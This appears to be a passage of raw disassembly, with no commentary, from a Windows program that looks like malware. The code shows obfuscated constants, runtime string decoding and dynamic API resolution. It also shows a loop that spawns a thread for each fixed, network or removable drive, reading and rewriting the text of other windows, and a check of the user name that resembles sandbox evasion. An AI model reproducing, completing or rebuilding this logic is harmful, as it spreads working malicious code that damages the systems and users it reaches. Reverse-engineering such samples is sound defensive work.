		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A128
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_439238
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44A168
		add	eax, dword_44A280
		sub	eax, 4
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4390AE
		cmp	[ebp+var_60EF0], 8
		jz	short loc_4390B3


loc_4390AE:				; CODE XREF: sub_43858C+B16j
		jmp	loc_43922C
; ---------------------------------------------------------------------------


loc_4390B3:				; CODE XREF: sub_43858C+B20j
		movsx	eax, word_44A22C
		add	eax, dword_44A140
		movsx	edx, word_44A180
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_70F00+1],	dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43C434
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	ds:dword_449BA0
		mov	eax, dword_44A1E8
		movsx	edx, word_44A0BC
		add	eax, edx
		movsx	eax, [ebp+eax+var_70EF9]
		mov	edx, dword_44A1F4
		add	edx, dword_44A1F8
		sub	edx, 7
		cmp	eax, edx
		jz	loc_43922C
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_43DB8B
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_44A254
		movsx	edx, word_44A1DC
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44A158
		mov	edx, dword_44A198
		sub	edx, 2
		mov	byte ptr [ebp+eax+var_71F10], dl
		or	ebx, ebx
		jnz	short loc_4391B7
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_4391B7
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43C434
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	ds:dword_449BA0


loc_4391B7:				; CODE XREF: sub_43858C+BF5j
					; sub_43858C+BFFj
		push	offset byte_44B957
		call	sub_43C507
		push	dword ptr [ebp-50EA0h]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_449634
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		push	offset word_44B952
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_444020
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		add	esp, 34h


loc_43922C:				; CODE XREF: sub_43858C:loc_4390AEj
					; sub_43858C+B96j
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439238:				; CODE XREF: sub_43858C+AE4j
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439244:				; CODE XREF: sub_43858C+AAFj
		inc	dword ptr [ebp-50EA0h]


loc_43924A:				; CODE XREF: sub_43858C+A39j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp-50EA0h], eax
		jb	loc_438FCA


loc_43925C:				; CODE XREF: sub_43858C+A27j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439268:				; CODE XREF: sub_43858C+9F7j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, dword_44A1EC
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_4392CF
		push	offset dword_44B94C
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_444020
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_444020
		push	offset byte_44B947
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_444020
		add	esp, 20h


loc_4392CF:				; CODE XREF: sub_43858C+46Fj
					; sub_43858C+CFAj
		inc	[ebp+var_30E50]


loc_4392D5:				; CODE XREF: sub_43858C+3F9j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_43898A


loc_4392E7:				; CODE XREF: sub_43858C+28Dj
					; sub_43858C+30Dj ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_4387D4
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44962C
		pop	ecx
		push	[ebp+var_30E44]
		call	ds:dword_449BA0
		push	[ebp+var_30E48]
		call	ds:dword_449BA0


loc_439325:				; CODE XREF: sub_43858C+1EEj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439331:				; CODE XREF: sub_43858C+1C7j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43933D:				; CODE XREF: sub_43858C+1A4j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439349:				; CODE XREF: sub_43858C+C7j
					; sub_43858C:loc_4386A7j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_439355:				; CODE XREF: sub_43858C+61j
					; sub_43858C+A2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43858C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43935A	proc near		; CODE XREF: sub_43ABE3+94p
					; sub_43ABE3+CEp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_43939B
		cmp	al, 79h
		jz	short loc_43939B
		cmp	al, 75h
		jz	short loc_43939B
		cmp	al, 69h
		jz	short loc_43939B
		cmp	al, 6Fh
		jz	short loc_43939B
		cmp	al, 61h
		jnz	short loc_43939F


loc_43939B:				; CODE XREF: sub_43935A+2Bj
					; sub_43935A+2Fj ...
		add	[ebp+arg_0], 1


loc_43939F:				; CODE XREF: sub_43935A+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_4393A9
		add	[ebp+arg_0], 1


loc_4393A9:				; CODE XREF: sub_43935A+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_43935A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4393B1	proc near		; CODE XREF: sub_43B912+61p

var_100C	= byte ptr -100Ch
var_1004	= byte ptr -1004h
var_1003	= byte ptr -1003h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		push	offset byte_44B935
		call	sub_43C507
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	ds:dword_44963C	; FindWindowExA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_4393E3
		mov	edi, [ebp+arg_0]


loc_4393E3:				; CODE XREF: sub_4393B1+2Dj
		push	offset byte_44B91F
		call	sub_43C507
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	ds:dword_44963C	; FindWindowExA
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_444014	; SendMessageA
		movsx	eax, word_44A1B4
		add	eax, dword_44A188
		cmp	[ebp+eax+var_1003], 20h
		jnz	short loc_439441
		mov	eax, dword_44A194
		add	eax, dword_44A1C4
		cmp	[ebp+eax+var_100C], 20h
		jz	loc_4394D8


loc_439441:				; CODE XREF: sub_4393B1+75j
		mov	eax, dword_44A0C8
		cmp	[ebp+eax+var_FFF], 68h
		jnz	short loc_439467
		movsx	eax, word_44A230
		add	eax, dword_44A188
		cmp	[ebp+eax+var_1004], 74h
		jz	short loc_4394D8


loc_439467:				; CODE XREF: sub_4393B1+9Dj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_439470:				; CODE XREF: sub_4393B1+C4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_439470
		mov	ebx, dword_44A274
		add	ebx, 0Ch
		cmp	eax, ebx
		jb	short loc_4394D8
		push	offset word_44B91A
		call	sub_43C507
		mov	esi, dword_44A128
		sub	esi, 5
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_4384B5
		add	esp, 10h
		movsx	ebx, word_44A1A4
		add	ebx, 0FFF8h
		cmp	eax, ebx
		jnz	short loc_4394D8
		push	offset dword_44B914
		call	sub_43C507
		pop	ecx
		push	eax
		mov	esi, dword_44A214
		sub	esi, 9
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_444014	; SendMessageA


loc_4394D8:				; CODE XREF: sub_4393B1+8Aj
					; sub_4393B1+B4j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4393B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4394DD	proc near		; CODE XREF: sub_43EC0A+1Bp
		push	edi
		push	offset dword_44B904
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2A8, eax
		test	eax, eax
		jnz	short loc_439510
		push	offset dword_44B8F4
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2A8, eax


loc_439510:				; CODE XREF: sub_4394DD+1Aj
		push	offset word_44B8E2
		call	sub_43C507
		push	eax
		push	dword_44A2A8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444044, eax
		push	offset byte_44B8D1
		call	sub_43C507
		push	eax
		push	dword_44A2A8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449BA0, eax
		push	offset byte_44B8C1
		call	sub_43C507
		push	eax
		push	dword_44A2A8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449BB0, eax
		push	offset word_44B8B2
		call	sub_43C507
		push	eax
		push	dword_44A2A8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444038, eax
		push	offset word_44B8A2
		call	sub_43C507
		add	esp, 14h
		push	eax
		push	dword_44A2A8
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447254, eax
		pop	edi
		retn
sub_4394DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4395A1	proc near		; DATA XREF: .data:0044A378o
		push	ebp
		mov	ebp, esp
		push	offset dword_449BA8
		call	ds:dword_446A3C	; InterlockedIncrement
		mov	eax, ds:dword_449BA8
		pop	ebp
		retn	4
sub_4395A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4395B8	proc near		; DATA XREF: .data:off_44A374o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44BAC8
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_4395E4
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43962C
; ---------------------------------------------------------------------------


loc_4395E4:				; CODE XREF: sub_4395B8+1Aj
		push	offset dword_44BA48
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_439604
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43962C
; ---------------------------------------------------------------------------


loc_439604:				; CODE XREF: sub_4395B8+3Aj
		push	offset dword_44BA18
		push	esi
		call	ds:dword_449648
		or	eax, eax
		jz	short loc_439624
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43962C
; ---------------------------------------------------------------------------


loc_439624:				; CODE XREF: sub_4395B8+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_43962C:				; CODE XREF: sub_4395B8+2Aj
					; sub_4395B8+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4395B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_439633	proc near		; DATA XREF: .data:0044A3ACo
		mov	eax, 80004001h
		retn	18h
sub_439633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43963B	proc near		; DATA XREF: sub_4399CB+154o

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_43B490
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset word_44B89A
		call	sub_43C507
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_449634
		add	esp, 10h


loc_439671:				; CODE XREF: sub_43963B+5Bj
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_43D357
		mov	eax, dword_44A23C
		add	eax, dword_44A108
		sub	eax, 0Bh
		push	eax
		call	ds:dword_449630
		add	esp, 10h
		jmp	short loc_439671
sub_43963B	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_43969E	proc near		; CODE XREF: sub_43EC0A+25p
		push	edi
		push	offset dword_44B88C
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2B0, eax
		test	eax, eax
		jnz	short loc_4396D1
		push	offset asc_44B87E ; "\n"
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2B0, eax


loc_4396D1:				; CODE XREF: sub_43969E+1Aj
		cmp	dword_44A2B0, 0
		jz	short loc_4396F4
		mov	eax, dword_44A248
		add	eax, 5
		push	eax
		push	dword_44A2B0
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44401C, eax


loc_4396F4:				; CODE XREF: sub_43969E+3Aj
		pop	edi
		retn
sub_43969E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4396F6	proc near		; CODE XREF: sub_43EC0A:loc_43EC45p
					; sub_44083E+261p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		movsx	eax, word_44A150
		mov	edi, eax
		add	edi, dword_44A0B8
		sub	edi, 9
		jmp	short loc_439784
; ---------------------------------------------------------------------------


loc_439715:				; CODE XREF: sub_4396F6+A1j
		push	offset word_44B872
		call	sub_43C507
		mov	[ebp+var_108], eax
		push	offset dword_44B868
		call	sub_43C507
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_449634
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	1F0001h
		call	ds:dword_448648	; OpenMutexA
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_439783
		push	eax
		call	ds:dword_448654	; CloseHandle
		mov	eax, dword_44A0B8
		dec	eax
		cmp	edi, eax
		jnz	short loc_43977C
		xor	eax, eax
		inc	eax
		jmp	short loc_43979F
; ---------------------------------------------------------------------------


loc_43977C:				; CODE XREF: sub_4396F6+7Fj
		mov	eax, 2
		jmp	short loc_43979F
; ---------------------------------------------------------------------------


loc_439783:				; CODE XREF: sub_4396F6+6Ej
		inc	edi


loc_439784:				; CODE XREF: sub_4396F6+1Dj
		mov	eax, dword_44A234
		add	eax, 5Ch
		movsx	edx, word_44A178
		add	eax, edx
		cmp	edi, eax
		jb	loc_439715
		xor	eax, eax


loc_43979F:				; CODE XREF: sub_4396F6+84j
					; sub_4396F6+8Bj
		pop	edi
		pop	esi
		leave
		retn
sub_4396F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4397A3	proc near		; CODE XREF: sub_43EC0A+34p

var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	[ebp+var_104], 0FFh
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_4465F0	; GetUserNameA
		push	offset word_44B85E
		call	sub_43C507
		mov	edi, dword_44A138
		add	edi, dword_44A0DC
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_4384B5
		add	esp, 10h
		movsx	esi, word_44A1F0
		add	esi, 0FFFCh
		cmp	eax, esi
		jz	short loc_43980C
		xor	eax, eax
		inc	eax
		jmp	short loc_439853
; ---------------------------------------------------------------------------


loc_43980C:				; CODE XREF: sub_4397A3+62j
		push	offset word_44B852
		call	sub_43C507
		mov	edi, dword_44A1D0
		add	edi, dword_44A0A0
		sub	edi, 0Ah
		push	edi
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_4384B5
		add	esp, 10h
		mov	esi, dword_44A258
		add	esi, 0FFF9h
		add	esi, dword_44A270
		cmp	eax, esi
		jz	short loc_439851
		xor	eax, eax
		inc	eax
		jmp	short loc_439853
; ---------------------------------------------------------------------------


loc_439851:				; CODE XREF: sub_4397A3+A7j
		xor	eax, eax


loc_439853:				; CODE XREF: sub_4397A3+67j
					; sub_4397A3+ACj
		pop	edi
		pop	esi
		leave
		retn
sub_4397A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439857	proc near		; DATA XREF: .data:0044A3B0o

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_44A27C
		add	eax, 0C4h
		cmp	[ebp+arg_4], eax
		jnz	loc_439986
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_44A394
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		movsx	eax, word_44A27C
		add	eax, dword_44A0B4
		sub	eax, 0Ch
		cmp	[ebp+var_4], eax
		jnz	loc_439982
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44A394
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		mov	eax, dword_44A26C
		sub	eax, 9
		cmp	[ebp+var_4], eax
		jnz	loc_439982
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_44BAD8
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_44A254
		add	eax, dword_44A224
		sub	eax, 0Eh
		cmp	[ebp+var_4], eax
		jnz	short loc_439979
		lea	eax, off_44A390
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44BA18
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_44A0A0
		sub	eax, 4
		cmp	[ebp+var_4], eax
		jnz	short loc_439967
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_44BA18
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_43F63D
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_439967:				; CODE XREF: sub_439857+EBj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_439979:				; CODE XREF: sub_439857+B6j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_439982:				; CODE XREF: sub_439857+50j
					; sub_439857+86j
		xor	eax, eax
		jmp	short loc_43998B
; ---------------------------------------------------------------------------


loc_439986:				; CODE XREF: sub_439857+1Fj
		mov	eax, 80020003h


loc_43998B:				; CODE XREF: sub_439857+12Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_439857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_439992	proc near		; DATA XREF: sub_439B7B+117o
		push	ebp
		mov	ebp, esp


loc_439995:				; CODE XREF: sub_439992+33j
		movsx	eax, word_44A27C
		sub	eax, 4
		push	eax
		call	ds:dword_449630
		pop	ecx
		movsx	eax, word_44A218
		add	eax, dword_44A1AC
		sub	eax, 0Ah
		push	eax
		push	offset sub_43B912
		push	0
		call	ds:dword_444048	; EnumDesktopWindows
		jmp	short loc_439995
sub_439992	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4399CB	proc near		; DATA XREF: sub_43EC0A+2C7o

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_4399E4
; ---------------------------------------------------------------------------


loc_4399DB:				; CODE XREF: sub_4399CB+1Cj
		and	ds:dword_449790[esi*4],	0
		inc	esi


loc_4399E4:				; CODE XREF: sub_4399CB+Ej
		cmp	esi, 5Ah
		jbe	short loc_4399DB


loc_4399E9:				; CODE XREF: sub_4399CB+192j
		mov	edi, 43h
		jmp	loc_439B44
; ---------------------------------------------------------------------------


loc_4399F3:				; CODE XREF: sub_4399CB+17Cj
		mov	eax, dword_44A1E8
		dec	eax
		push	eax
		call	ds:dword_449630
		push	offset word_44B84A
		call	sub_43C507
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_449634
		add	esp, 14h
		cmp	ds:dword_449790[edi*4],	0
		jz	short loc_439A5D
		mov	eax, dword_44A20C
		sub	eax, 6
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_449790[edi*4]
		call	ds:dword_449650	; GetExitCodeThread
		cmp	[ebp+var_14], 103h
		jz	short loc_439A5D
		push	ds:dword_449790[edi*4]
		call	ds:dword_448654	; CloseHandle
		and	ds:dword_449790[edi*4],	0


loc_439A5D:				; CODE XREF: sub_4399CB+56j
					; sub_4399CB+7Bj
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_449668	; GetDriveTypeA
		mov	[ebp+var_4], eax
		cmp	eax, 3
		jz	short loc_439AA5
		cmp	eax, 4
		jz	short loc_439AA5
		cmp	eax, 2
		jz	short loc_439AA5
		cmp	ds:dword_449790[edi*4],	0
		jz	loc_439B43
		mov	ebx, dword_44A0F8
		movsx	edx, word_44A0E8
		add	ebx, edx
		sub	ebx, 8
		mov	ds:dword_446630[edi*4],	ebx
		jmp	loc_439B43
; ---------------------------------------------------------------------------


loc_439AA5:				; CODE XREF: sub_4399CB+A2j
					; sub_4399CB+A7j ...
		push	1
		call	ds:dword_445000	; SetErrorMode
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_4460D4	; GetDiskFreeSpaceA
		mov	ebx, dword_44A134
		sub	ebx, 8
		cmp	eax, ebx
		jnz	short loc_439AF1
		cmp	ds:dword_449790[edi*4],	0
		jz	short loc_439B43
		movsx	ebx, word_44A144
		sub	ebx, 6
		mov	ds:dword_446630[edi*4],	ebx
		jmp	short loc_439B43
; ---------------------------------------------------------------------------


loc_439AF1:				; CODE XREF: sub_4399CB+107j
		cmp	ds:dword_449790[edi*4],	0
		jnz	short loc_439B43
		mov	ds:dword_446630[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		movsx	eax, word_44A264
		add	eax, dword_44A194
		sub	eax, 12h
		push	eax
		lea	ebx, ds:446630h[edi*4]
		push	ebx
		push	offset sub_43963B
		mov	ebx, dword_44A114
		add	ebx, dword_44A12C
		sub	ebx, 10h
		push	ebx
		push	0
		call	ds:dword_449B90	; CreateThread
		mov	ds:dword_449790[edi*4],	eax


loc_439B43:				; CODE XREF: sub_4399CB+B6j
					; sub_4399CB+D5j ...
		inc	edi


loc_439B44:				; CODE XREF: sub_4399CB+23j
		cmp	edi, 5Ah
		jbe	loc_4399F3
		mov	eax, dword_44A09C
		sub	eax, 5
		push	eax
		call	ds:dword_449630
		pop	ecx
		jmp	loc_4399E9
sub_4399CB	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_439B69	proc near		; CODE XREF: sub_43EC0A+27Cp
		push	2
		call	sub_43F5E2
		push	0
		call	sub_43F5E2
		add	esp, 8
		retn
sub_439B69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439B7B	proc near		; CODE XREF: sub_43EC0A+2EEp

var_30D		= byte ptr -30Dh
var_30C		= byte ptr -30Ch
var_308		= byte ptr -308h
var_302		= byte ptr -302h
var_203		= byte ptr -203h
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh

		push	ebp
		mov	ebp, esp
		sub	esp, 310h
		push	edi
		push	0FFh
		lea	eax, [ebp+var_302]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		lea	eax, [ebp+var_203]
		push	eax
		push	dword_44A168
		push	0
		push	1Ch
		push	0
		call	ds:dword_446A44
		push	offset byte_44B837
		call	sub_43C507
		movsx	edi, word_44A1B4
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	offset dword_4460F0
		call	ds:dword_449634
		push	offset dword_44B824
		call	sub_43C507
		movsx	edi, word_44A124
		sub	edi, 4
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	offset dword_447260
		call	ds:dword_449634
		lea	eax, sub_43F3B6
		mov	ds:dword_44962C, eax
		lea	eax, sub_43F3B6
		mov	ds:dword_44404C, eax
		lea	eax, sub_43D9B8
		mov	ds:dword_449774, eax
		push	offset dword_445020
		call	sub_43F189
		movsx	eax, word_44A170
		mov	edx, dword_44A184
		lea	eax, [eax+edx+6]
		push	eax
		push	offset dword_447230
		call	sub_43F353
		lea	eax, sub_440DA6
		mov	ds:dword_447228, eax
		lea	eax, sub_43B982
		mov	ds:dword_446A30, eax
		lea	eax, dword_4460F0
		mov	ds:dword_448640, eax
		lea	eax, dword_447260
		mov	ds:dword_444018, eax
		lea	eax, dword_449670
		mov	dword_44A370, eax
		lea	eax, [ebp+var_308]
		push	eax
		movsx	eax, word_44A230
		sub	eax, 6
		push	eax
		push	0
		push	offset sub_439992
		push	dword_44A1C8
		push	0
		call	ds:dword_449B90	; CreateThread
		push	eax
		call	ds:dword_448654	; CloseHandle
		lea	eax, [ebp+var_30C]
		push	eax
		movsx	eax, word_44A1E0
		sub	eax, 3
		push	eax
		push	0
		push	offset sub_43855F
		mov	eax, dword_44A148
		movsx	edx, word_44A170
		add	eax, edx
		sub	eax, 4
		push	eax
		push	0
		call	ds:dword_449B90	; CreateThread
		push	eax
		call	ds:dword_448654	; CloseHandle
		mov	eax, dword_44A25C
		add	eax, 2
		mov	ds:dword_446620, eax
		mov	eax, dword_44A0F8
